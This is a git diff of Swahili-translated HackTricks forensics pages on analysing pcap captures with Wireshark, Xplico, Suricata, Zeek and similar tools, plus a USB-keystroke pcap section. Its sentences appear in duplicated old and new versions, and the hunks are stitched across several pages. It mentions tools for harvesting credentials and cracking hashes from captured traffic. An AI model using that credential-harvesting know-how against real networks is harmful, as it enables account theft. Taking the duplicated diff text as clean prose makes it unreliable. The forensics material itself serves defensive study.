Taarifa kuhusu **PCAP** vs **PCAPNG**: kuna toleo mbili za muundo wa faili ya PCAP; **PCAPNG ni mpya na haishikwi na zana zote**. Unaweza kuhitaji kubadilisha faili kutoka PCAPNG kwenda PCAP kwa kutumia Wireshark au zana nyingine inayofaa, ili uweze kufanya kazi nayo kwenye zana nyingine.
|
||||
Taarifa kuhusu **PCAP** dhidi ya **PCAPNG**: kuna matoleo mawili ya muundo wa faili ya PCAP; **PCAPNG ni mpya na haitegemezwi na zana zote**. Unaweza kuhitaji kubadilisha faili kutoka PCAPNG kwenda PCAP kwa kutumia Wireshark au zana nyingine inayoweza kufanya kazi nayo kwenye zana nyingine.
|
||||
{% endhint %}
|
||||
|
||||
## Zana za mtandaoni kwa pcaps
|
||||
|
||||
* Ikiwa kichwa cha pcap yako kime **haribika** unapaswa kujaribu **kurekebisha** kwa kutumia: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Chambua **taarifa** na tafuta **programu hasidi** ndani ya pcap kwenye [**PacketTotal**](https://packettotal.com)
|
||||
* Tafuta **shughuli mbaya** kwa kutumia [**www.virustotal.com**](https://www.virustotal.com) na [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* Ikiwa kichwa cha pcap yako kime **haribika** unapaswa kujaribu **kusahihisha** kwa kutumia: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Chunguza **taarifa** na tafuta **programu hasidi** ndani ya pcap kwenye [**PacketTotal**](https://packettotal.com)
|
||||
* Tafuta **shughuli za uovu** kwa kutumia [**www.virustotal.com**](https://www.virustotal.com) na [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
|
||||
## Chambua Taarifa
|
||||
## Chunguza Taarifa
|
||||
|
||||
Zana zifuatazo ni muhimu kuchambua takwimu, faili, nk.
|
||||
Zana zifuatazo ni muhimu kutoa takwimu, faili, nk.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**Ikiwa unataka kuchambua PCAP lazima ujue jinsi ya kutumia Wireshark**
|
||||
**Ikiwa unataka kuchambua PCAP unapaswa kimsingi kujua jinsi ya kutumia Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kupata mbinu za Wireshark katika:
|
||||
Unaweza kupata mbinu kadhaa za Wireshark katika:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
|
|
@ -48,42 +49,42 @@ Unaweza kupata mbinu za Wireshark katika:
|
|||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(tu kwenye linux)_ inaweza **kuchambua** pcap na kutoa taarifa kutoka kwake. Kwa mfano, kutoka kwenye faili ya pcap, Xplico inachambua kila barua pepe (itifaki za POP, IMAP, na SMTP), yaliyomo yote ya HTTP, kila wito wa VoIP (SIP), FTP, TFTP, na kadhalika.
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(tu linux)_ inaweza **kuchambua** pcap na kutoa taarifa kutoka kwake. Kwa mfano, kutoka kwa faili ya pcap, Xplico, hutoa kila barua pepe (itifaki za POP, IMAP, na SMTP), yaliyomo yote ya HTTP, kila simu ya VoIP (SIP), FTP, TFTP, na kadhalika.
|
||||
|
||||
**Sanidi**
|
||||
**Sakinisha**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
**Chalaza**
|
||||
**Endesha**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Pata ufikiaji wa _**127.0.0.1:9876**_ na sifa za kuingia _**xplico:xplico**_
|
||||
Fikia _**127.0.0.1:9876**_ na sifa za _**xplico:xplico**_
|
||||
|
||||
Kisha tengeneza **kesi mpya**, tengeneza **kikao kipya** ndani ya kesi na **pakia faili ya pcap**.
|
||||
Kisha tengeneza **kisa kipya**, tengeneza **kikao kipya** ndani ya kisa na **pakia faili ya pcap**.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Kama Xplico, ni chombo cha **uchambuzi na uchimbaji wa vitu kutoka kwenye pcap**. Ina toleo la bure ambalo unaweza **kupakua** [**hapa**](https://www.netresec.com/?page=NetworkMiner). Inafanya kazi na **Windows**.\
|
||||
Chombo hiki pia ni muhimu kupata **habari nyingine zilizochambuliwa** kutoka kwenye pakiti ili kuweza kujua kilichokuwa kinaendelea kwa njia **haraka**.
|
||||
Kama Xplico ni chombo cha **uchambuzi na kuchimbua vitu kutoka kwa pcaps**. Ina toleo la bure ambalo unaweza **kupakua** [**hapa**](https://www.netresec.com/?page=NetworkMiner). Inafanya kazi na **Windows**.\
|
||||
Chombo hiki pia ni muhimu kupata **habari nyingine zilizochambuliwa** kutoka kwa pakiti ili kuweza kujua kilichokuwa kikiendelea kwa njia **haraka**.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Unaweza kupakua [**NetWitness Investigator hapa**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Inafanya kazi kwenye Windows)**.\
|
||||
Hii ni chombo kingine muhimu ambacho **huchambua pakiti** na kusorti habari kwa njia inayoweza **kujua kinachoendelea ndani**.
|
||||
Unaweza kupakua [**NetWitness Investigator kutoka hapa**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Inafanya kazi kwenye Windows)**.\
|
||||
Hii ni chombo kingine muhimu ambacho **huchambua pakiti** na kupanga habari kwa njia inayofaa ili **kujua kinachoendelea ndani**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Kuchambua na kuweka alama majina ya mtumiaji na nywila (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Kuchimbua na kuweka maneno ya mtumiaji na nywila (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Kuchimbua alama za uwakilishi na kuzivunja kwa kutumia Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Jenga ramani ya mtandao kwa njia ya kuona (Nodi za mtandao na watumiaji)
|
||||
* Chimbua maswali ya DNS
|
||||
* Rekebisha vikao vyote vya TCP na UDP
|
||||
* Ukata faili
|
||||
* Jenga ramani ya mtandao ya kuona (Vituo vya mtandao & watumiaji)
|
||||
* Kuchimbua maswali ya DNS
|
||||
* Rekebisha vikao vyote vya TCP & UDP
|
||||
* Ukataji wa Faili
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
|
@ -91,13 +92,13 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
Ikiwa unatafuta kitu ndani ya pcap unaweza kutumia ngrep. Hapa kuna mfano wa kutumia vichujio kuu:
|
||||
Ikiwa unatafuta kitu ndani ya pcap unaweza kutumia ngrep. Hapa kuna mfano wa kutumia filters kuu:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Ukataji
|
||||
|
||||
Kutumia mbinu za kawaida za ukataji inaweza kuwa na manufaa katika kuchimbua faili na habari kutoka kwa pcap:
|
||||
Kutumia mbinu za kawaida za ukataji inaweza kuwa na manufaa kutoa faili na habari kutoka kwa pcap:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
|
|
@ -105,15 +106,15 @@ Kutumia mbinu za kawaida za ukataji inaweza kuwa na manufaa katika kuchimbua fai
|
|||
|
||||
### Kukamata siri
|
||||
|
||||
Unaweza kutumia zana kama [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) kuchambua siri kutoka kwa pcap au kiolesura hai.
|
||||
Unaweza kutumia zana kama [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) kuchambua siri kutoka kwa pcap au interface ya moja kwa moja.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi barani **Ulaya**. Kwa **malengo ya kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa mkutano wa joto kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Angalia Mashambulizi/Malware
|
||||
## Angalia Exploits/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
|
|
@ -125,64 +126,18 @@ echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz
|
|||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Angalia pcap**
|
||||
|
||||
---
|
||||
|
||||
**Introduction**
|
||||
|
||||
**Utangulizi**
|
||||
|
||||
When conducting a forensic investigation, analyzing network traffic can provide valuable insights into the activities and communications of a system or user. One common method of capturing and analyzing network traffic is through the use of packet capture (pcap) files. Pcap files contain recorded network traffic data, including the source and destination IP addresses, protocols used, and the contents of the packets themselves.
|
||||
|
||||
Wakati wa kufanya uchunguzi wa kiforensiki, uchambuzi wa trafiki ya mtandao unaweza kutoa ufahamu muhimu juu ya shughuli na mawasiliano ya mfumo au mtumiaji. Moja ya njia za kawaida za kukamata na kuchambua trafiki ya mtandao ni kupitia matumizi ya faili za kukamata pakiti (pcap). Faili za pcap zina data iliyorekodiwa ya trafiki ya mtandao, ikiwa ni pamoja na anwani za IP za chanzo na marudio, itifaki zilizotumika, na maudhui ya pakiti yenyewe.
|
||||
|
||||
---
|
||||
|
||||
**Inspecting Pcap Files**
|
||||
|
||||
**Kuchunguza Faili za Pcap**
|
||||
|
||||
To inspect a pcap file, you can use various tools and techniques to extract and analyze the network traffic data. Here are some common methods:
|
||||
|
||||
Kuchunguza faili ya pcap, unaweza kutumia zana na mbinu mbalimbali ili kuchambua na kuchanganua data ya trafiki ya mtandao. Hapa kuna njia kadhaa za kawaida:
|
||||
|
||||
1. Wireshark: Wireshark is a popular open-source network protocol analyzer that allows you to view and analyze pcap files. It provides a graphical interface for inspecting network traffic and offers various filters and analysis options.
|
||||
|
||||
Wireshark: Wireshark ni kifaa maarufu cha uchambuzi wa itifaki ya mtandao ambacho kinakuruhusu kuona na kuchambua faili za pcap. Inatoa kiolesura cha picha kwa ajili ya kuchunguza trafiki ya mtandao na inatoa filta mbalimbali na chaguo za uchambuzi.
|
||||
|
||||
2. Tcpdump: Tcpdump is a command-line tool that allows you to capture and analyze network traffic. It can be used to read pcap files and extract information about the captured packets.
|
||||
|
||||
Tcpdump: Tcpdump ni kifaa cha amri ambacho kinakuruhusu kukamata na kuchambua trafiki ya mtandao. Inaweza kutumika kusoma faili za pcap na kuchukua habari kuhusu pakiti zilizokamatwa.
|
||||
|
||||
3. Tshark: Tshark is a command-line version of Wireshark that allows you to analyze pcap files without the need for a graphical interface. It provides similar functionality to Wireshark but can be used in automated scripts or remote environments.
|
||||
|
||||
Tshark: Tshark ni toleo la amri la Wireshark ambalo linakuruhusu kuchambua faili za pcap bila haja ya kiolesura cha picha. Inatoa kazi sawa na Wireshark lakini inaweza kutumika katika hati za kiotomatiki au mazingira ya mbali.
|
||||
|
||||
4. Network Forensics Tools: There are various network forensics tools available that specialize in analyzing pcap files. These tools often provide advanced analysis capabilities and can help identify patterns, anomalies, and potential security breaches.
|
||||
|
||||
Zana za Kiforensiki ya Mtandao: Kuna zana mbalimbali za kiforensiki ya mtandao zinazopatikana ambazo zinajikita katika kuchambua faili za pcap. Zana hizi mara nyingi hutoa uwezo wa uchambuzi wa juu na zinaweza kusaidia kutambua mifumo, tofauti, na ukiukwaji wa usalama unaowezekana.
|
||||
|
||||
---
|
||||
|
||||
**Conclusion**
|
||||
|
||||
**Hitimisho**
|
||||
|
||||
Inspecting pcap files can be a valuable technique in forensic investigations, allowing you to gain insights into network activities and communications. By using tools like Wireshark, Tcpdump, Tshark, or specialized network forensics tools, you can extract and analyze the data within pcap files to uncover important information and potential security issues.
|
||||
|
||||
Kuchunguza faili za pcap inaweza kuwa njia muhimu katika uchunguzi wa kiforensiki, ikikuruhusu kupata ufahamu kuhusu shughuli na mawasiliano ya mtandao. Kwa kutumia zana kama Wireshark, Tcpdump, Tshark, au zana maalum za kiforensiki ya mtandao, unaweza kuchukua na kuchambua data ndani ya faili za pcap ili kugundua habari muhimu na masuala ya usalama yanayowezekana.
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ni zana ambayo
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ni chombo ambacho
|
||||
|
||||
* Inasoma faili ya PCAP na kuchambua mito ya Http.
|
||||
* gzip inapunguza mito iliyopakiwa
|
||||
* Huisoma Faili ya PCAP na Kutoa Mtiririko wa Http.
|
||||
* gzip hupunguza mtiririko wowote uliopimwa
|
||||
* Inachunguza kila faili na yara
|
||||
* Inaandika ripoti.txt
|
||||
* Kwa hiari, inahifadhi faili zinazolingana kwenye Dir
|
||||
* Huiandika ripoti.txt
|
||||
* Kwa hiari huihifadhi faili zinazolingana kwenye Dir
|
||||
|
||||
### Uchambuzi wa Programu Hasidi
|
||||
|
||||
|
|
@ -194,11 +149,9 @@ Angalia ikiwa unaweza kupata alama yoyote ya programu hasidi inayojulikana:
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) ni zana ya uchambuzi wa trafiki ya mtandao isiyo ya kuingilia. Watoa huduma wengi hutumia Zeek kama Mfuatiliaji wa Usalama wa Mtandao (NSM) kuunga mkono uchunguzi wa shughuli za shaka au zenye nia mbaya. Zeek pia inasaidia aina mbalimbali za kazi za uchambuzi wa trafiki zaidi ya uwanja wa usalama, ikiwa ni pamoja na kupima utendaji na kutatua matatizo.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) ni mtambulishaji wa trafiki wa mtandao wa chanzo wazi na wa kupitisha. Wafanyabiashara wengi hutumia Zeek kama Mfuatiliaji wa Usalama wa Mtandao (NSM) kusaidia uchunguzi wa shughuli za shaka au zenye nia mbaya. Zeek pia inasaidia anuwai kubwa ya kazi za uchambuzi wa trafiki zaidi ya uwanja wa usalama, ikiwa ni pamoja na upimaji wa utendaji na kutatua matatizo.
|
||||
|
||||
Kimsingi, magogo yanayotengenezwa na `zeek` sio **pcaps**. Kwa hivyo utahitaji kutumia **zana nyingine** kuchambua magogo ambapo **habari** kuhusu pcaps zipo.
|
||||
|
||||
### Habari za Uunganisho
|
||||
Kimsingi, magogo yanayoundwa na `zeek` sio **pcaps**. Kwa hivyo utahitaji kutumia **zana zingine** kuchambua magogo ambapo **habari** kuhusu pcaps zipo.
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
|
@ -249,18 +202,6 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
|
|||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### Taarifa za DNS
|
||||
|
||||
DNS (Domain Name System) ni mfumo unaotumiwa kubadilisha majina ya kikoa kuwa anwani za IP. Katika uchunguzi wa kiforensiki, ukaguzi wa faili za pcap unaweza kutoa habari muhimu kuhusu shughuli za DNS.
|
||||
|
||||
Kuchunguza faili ya pcap kunaweza kufunua maelezo kama vile:
|
||||
|
||||
- Anwani za IP zinazohusiana na majina ya kikoa
|
||||
- Majina ya kikoa yanayotumiwa na anwani za IP
|
||||
- Muda wa maombi ya DNS na majibu
|
||||
- Aina za rekodi za DNS zilizotumiwa (kama vile A, CNAME, MX, nk)
|
||||
- Habari za kijiografia kuhusu anwani za IP (kama vile nchi, mji, nk)
|
||||
|
||||
Kwa kutumia habari hizi, wachunguzi wa kiforensiki wanaweza kufuatilia shughuli za mtandao, kugundua mifumo ya ukiukaji wa usalama, au kufuatilia mawasiliano ya mtu binafsi.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
|
@ -277,7 +218,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Mbinu nyingine za uchambuzi wa pcap
|
||||
## Mbinu zingine za uchambuzi wa pcap
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
|
|
@ -295,20 +236,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi huko **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,41 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Ikiwa una pcap ya uhusiano wa USB na usumbufu mwingi, labda ni uhusiano wa Kibodi ya USB.
|
||||
Ikiwa una pcap ya uhusiano wa USB na Vikwazo vingi labda ni uhusiano wa Kibodi ya USB.
|
||||
|
||||
Kichujio cha wireshark kama hiki kinaweza kuwa na manufaa: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
|
||||
Inaweza kuwa muhimu kujua kuwa data inayoanza na "02" inabonyezwa kwa kutumia shift.
|
||||
|
||||
Unaweza kusoma habari zaidi na kupata skripti kadhaa juu ya jinsi ya kuchambua hii katika:
|
||||
Unaweza kusoma habari zaidi na kupata skripti kadhaa kuhusu jinsi ya kuchambua hii katika:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,43 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
